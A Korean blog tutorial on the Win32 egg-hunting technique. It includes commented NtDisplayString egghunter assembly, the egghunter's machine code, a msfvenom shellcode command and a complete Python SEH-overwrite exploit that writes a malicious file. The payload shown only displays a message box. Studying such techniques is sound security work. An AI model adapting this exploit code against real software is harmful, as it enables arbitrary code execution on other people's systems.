https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
이번 글에서는 egg hunting에 대해 알아 보겠습니다!
1. egg hunting?
linux exploit 중 buffer size가 작아 shellcode를 넣을 크기가 나오지 않는다면 shellcode를 환경변수나 다른 memory에 등록하고 사용하는 방법이 있습니다.
(환경변수로 하면 local만 되니까 memory가 좋을 듯 <- 개인적인 생각)
windows에서도 마찬가지로 buffer size가 작을 경우 shellcode 앞부분에 tag를 붙여 놓고 실행 code에서 tag를 찾아내 실행시키는 방법이 있습니다.
이를 egg hunting 기법이라고 합니다.
2. egg hunting 조건
1. tag + shellcode가 들어갈 수 있는 buffer가 필요하다.
2. 기존에 작은 size buffer안에 egg hunting 코드를 넣는다.
3. eip를 egg hunting 하는 곳으로 이동시킨다.
4. shellcode가 실행된다.
egg hunting 코드는 메모리 첫 부분부터 타고 올라가면서 tag를 찾고 call이나 jmp를 통해 tag 바로 뒤에 있는 shellcode로 이동해 실행하게 됩니다.
3. 주의 사항
egg hunting은 메모리를 검색하기 때무넹 아래와 같은 주의 사항?이 있습니다.
1. shellcode가 실행될 때까지 시간이 다소 소요될 수 있다.
2. CPU가 힘들어한다.
4. 다양한 egg hunting 기법
egg hunting은 다음과 같은 기법들이 있습니다.
1. SEH 주입을 사용한 기법
2. IsBadReadPtr을 이용한 기법
3. NtDisplayString/NtAccessCheck를 이용한 기법
가능하다면 egg hunting 코드도 짧을 수록 좋기 때문에 여기서는 NtDisplayString을 이용한 기법을 사용해 보겠습니다.
NtDisplayString을 이용한 egg hunting 코드 어셈블리어는 다음과 같습니다.
entry:
loop_inc_page:
or dx, 0x0fff // 페이지에 있는 마지막 주소를 가져옴
loop_inc_one:
inc edx // 카운터 역할 수행(edx 증가)
make_syscall:
push edx // edx 값 삽입
push 0x6d // NtDisplayString을 syscall하기 위해 0x6d 삽입
pop eax // 스택에 삽입한 0x6d값을 eax로 가져옴
int 0x2e // 커널에게 이전의 레지스터 값을 이용해 syscall 할 것임을
// 알림
check_is_valid:
cmp al, 0x05 // 접근 위반이 발생했는지 확인
// (0xc0000005 == ACCESS_VIOLATION)
pop edx // edx값 복구
jz loop_inc_page // 접근 위반 발생하면 egg hunting 시작으로 점프
is_egg:
mov eax, 0x77303074 // egg_hunting tag 부분
mov edi, edx
scasd // eax와 [edi]값을 4바이트만큼 비교, edi 4만큼 증가
jnz loop_inc_one // tag가 발견되지 않으면 loop_inc_one으로 점프
scasd // tag가 발견되면 다시 한 번 eax와 [edi]값 비교
// edi 4만큼 증가
jnz loop_inc_one // tag가 발견되지 않으면 loop_inc_one으로 점프
found:
jmp edi // tag가 발견되었다면 edi로 점프
여기서 push 0x6d 부분을 주의해야 하는데, windows xp sp3 같은 경우에는 NtDisplayString syscall ID는 0x43입니다.
따라서, 공격을 수행하는 OS 버전에 따라 다를 수 있으니 주의해야 합니다.
그리고 tag 값을 연달아 두 번 검사를 하는데 이는 좀 더 확실하게 검증하여 shellcode로 이동하기 위해서 입니다.
(메모리 어딘가에서 tag 값과 겹치는 부분이 있을 수 있기때문!)
egg hunting 코드를 기계어로 보면 아래와 같습니다.
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x6d\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg hunting payload는 아래와 같습니다.
tag - shellcode - NSEH - SEH - egg hunting
칼리에서 메시지 박스를 띄우는 shellcode 생성 방법은 아래와 같습니다.
msfvenom -p windows/messagebox TEXT='Stack Overflow!!' -b "\x00\x0a\x1a\x0d"
-e x86/shikata_ga_nai -f python
아래와 같이 PyCommand를 이용해 pop pop ret 가젯 주소를 찾습니다.
!search pop r32\npop r32\nret
아래는 egg hunting 최종 exploit 코드입니다.
import struct
buf = ""
buf += "\xbb\x38\x3b\xc7\x05\xdd\xc1\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x45\x31\x58\x12\x83\xc0\x04\x03\x60\x35\x25"
buf += "\xf0\x49\xa2\x32\x22\x1d\x11\xb1\xe4\x0f\xeb\x4e\x36"
buf += "\x66\x68\x3a\x49\x48\xfa\x4a\xa6\x23\x8a\xae\x3d\x75"
buf += "\x7b\x44\x3f\x59\xf0\x6c\xf8\xd6\x1e\xe4\x0b\xb1\x1f"
buf += "\xd7\x13\xa0\x40\x5c\x87\x06\xa5\xe9\x1d\x7a\x2e\xb9"
buf += "\xb5\xfa\x31\xa8\x4d\xb0\x29\xa7\x08\x64\x4b\x5c\x4f"
buf += "\x50\x02\x29\xa4\x13\x95\xc3\xf4\xdc\xa7\xdb\x0b\x8e"
buf += "\x4c\x1b\x87\xc9\x8d\x53\x65\xd4\xca\x87\x82\xed\xa8"
buf += "\x73\x43\x64\xb0\xf7\xc9\xa2\x33\xe3\x88\x21\x3f\xb8"
buf += "\xdf\x6f\x5c\x3f\x0b\x04\x58\xb4\xca\xf2\xe8\x8e\xe8"
buf += "\x1e\x8a\xcd\x43\x16\x65\x06\x2a\xc3\xfc\x64\x45\x85"
buf += "\xb1\x66\x7a\xcb\xa5\xe8\x7d\x14\xca\x9e\xc7\xee\x8e"
buf += "\xdf\x1f\x0c\x83\x98\xbc\xf4\x36\x4f\x32\x0b\x49\x70"
buf += "\xc2\xb6\xbe\xe7\xb9\x54\x9f\xb6\x29\x97\xed\x16\xce"
buf += "\xbf\x64\x14\x6b\x4d\xb7\x01\xfb\xed\x93\xbf\x75\xeb"
buf += "\x8a\x40\xd0\xf7\xbb\x7d\x8b\x4c\x13\x23\x61\x0e\xe3"
buf += "\x38\x5e\x3c\x04\x1f\x61\x3f\x2b\xc8\xf2\xc7\x8c\x29"
buf += "\x65\x56\x4a\x4f\x37\xf0\xd9\xea\xc4\x73\xd3\x2f\xa2"
buf += "\x2f\x37\xda\x3a\x2c\x5f\x82\x1c\x92\x80\x5a\x32\xa5"
buf += "\xe1\xbb\xa4\x2c\x90\xdd\x58\xc6\x3f\x02\xee\x60\xa8"
buf += "\x11\x84\xed\x4b\xa7\xad\x65\xc7\xe3\x3d\xfc\x39\xda"
buf += "\xef\xac\xea\x4c\x42\xaf\xdd\x5e\xa2\x1f\x21\xf5\x2a"
print "Shellcode Length : ", len(buf)
egghunter = (
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x6d\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)
tag_value = "w00tw00t"
DUMMY = "A" * (556 - len(buf) - len(tag_value))
SEH = struct.pack('<L',0x401246)
NSEH = struct.pack('<L', 0x909006eb) # eb 06 -> jmp short 0x06
# 90 -> NOP
shellcode = tag_value + buf + DUMMY + NSEH + SEH + "\x90"*30 + egghunter +
"A" * 120
f = open("test.txt", "w")
f.write(shellcode)
f.close()
생성된 txt 파일을 이용해 디버깅을 하면 아래와 같이 진행 됩니다.
ret가 overwrite되니까 exception이 발생해 NOP 타고 egg hunter가 실행 됩니다.
위는 egg hunter 어셈블리어 입니다.
여기서 0x12FFBC까지 실행을 시키면 아래와 같이 EDI 값이 최종 shellcode가 들어가 있는 주소를 가리키는 것을 볼 수 있고, shellcode 전에는 tag 값이 2개가 들어가 있을 확인할 수 있습니다.
shellcode가 실행 되면서 아래와 같이 메시지 박스가 출력됩니다.
참고
https://m.blog.naver.com/cme1245/221275692765
https://gflow-security.tistory.com/entry/Window-Application-Exploit-Egg-hunting
'윈도우 버그 헌팅' 카테고리의 다른 글
Exploit writing tutorial part 10 (0) | 2024.03.08 |
---|---|
Exploit writing tutorial part 9 (0) | 2024.03.07 |
Exploit writing tutorial part 7 (0) | 2024.03.05 |
Exploit writing tutorial part 6 (0) | 2024.03.01 |
Exploit writing tutorial part 3 (0) | 2024.02.21 |